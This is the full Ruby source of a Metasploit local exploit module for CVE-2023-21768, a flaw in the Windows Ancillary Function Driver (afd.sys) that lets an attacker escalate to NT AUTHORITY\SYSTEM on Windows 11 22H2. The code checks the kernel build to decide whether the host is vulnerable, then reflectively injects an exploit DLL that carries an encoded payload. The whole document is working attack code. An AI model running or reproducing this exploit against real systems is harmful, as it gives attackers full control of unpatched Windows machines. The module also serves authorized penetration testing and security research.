## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Windows::FileInfo prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, { 'Name' => 'Ancillary Function Driver (AFD) for WinSock Elevation of Privilege', 'Description' => %q{ A vulnerability exists in the Windows Ancillary Function Driver for Winsock (`afd.sys`) can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is possible to create an arbitrary kernel Write-Where primitive, which can be used to manipulate internal I/O ring structures and achieve local privilege escalation. This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in January 2023 updates). }, 'License' => MSF_LICENSE, 'Author' => [ 'chompie', # Github PoC 'b33f', # Github PoC 'Yarden Shafir', # I/O Ring R/W primitive PoC 'Christophe De La Fuente' # Metasploit module ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Privileged' => true, 'Targets' => [ [ 'Windows 11 22H2 x64', { 'Arch' => ARCH_X64 } ] ], 'Payload' => { 'DisableNops' => true }, 'References' => [ [ 'CVE', '2023-21768' ], [ 'URL', 'https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768' ], [ 'URL', 'https://github.com/yardenshafir/IoRingReadWritePrimitive' ] ], 'DisclosureDate' => '2023-01-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [] } } ) ) end def check unless session.platform == 'windows' return Exploit::CheckCode::Safe('Only Windows systems are affected') end major, minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntoskrnl.exe') vprint_status("Windows Build Number = #{build}.#{revision}") unless major == 6 && minor == 2 && build == 22621 return CheckCode::Safe('The exploit only supports Windows 11 22H2') end if revision > 963 return CheckCode::Safe("This Windows host seems to be patched (build 22621.#{revision})") end CheckCode::Appears end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end encoded_payload = payload.encoded execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21768', 'CVE-2023-21768.x64.dll'), [encoded_payload.length].pack('I<') + encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end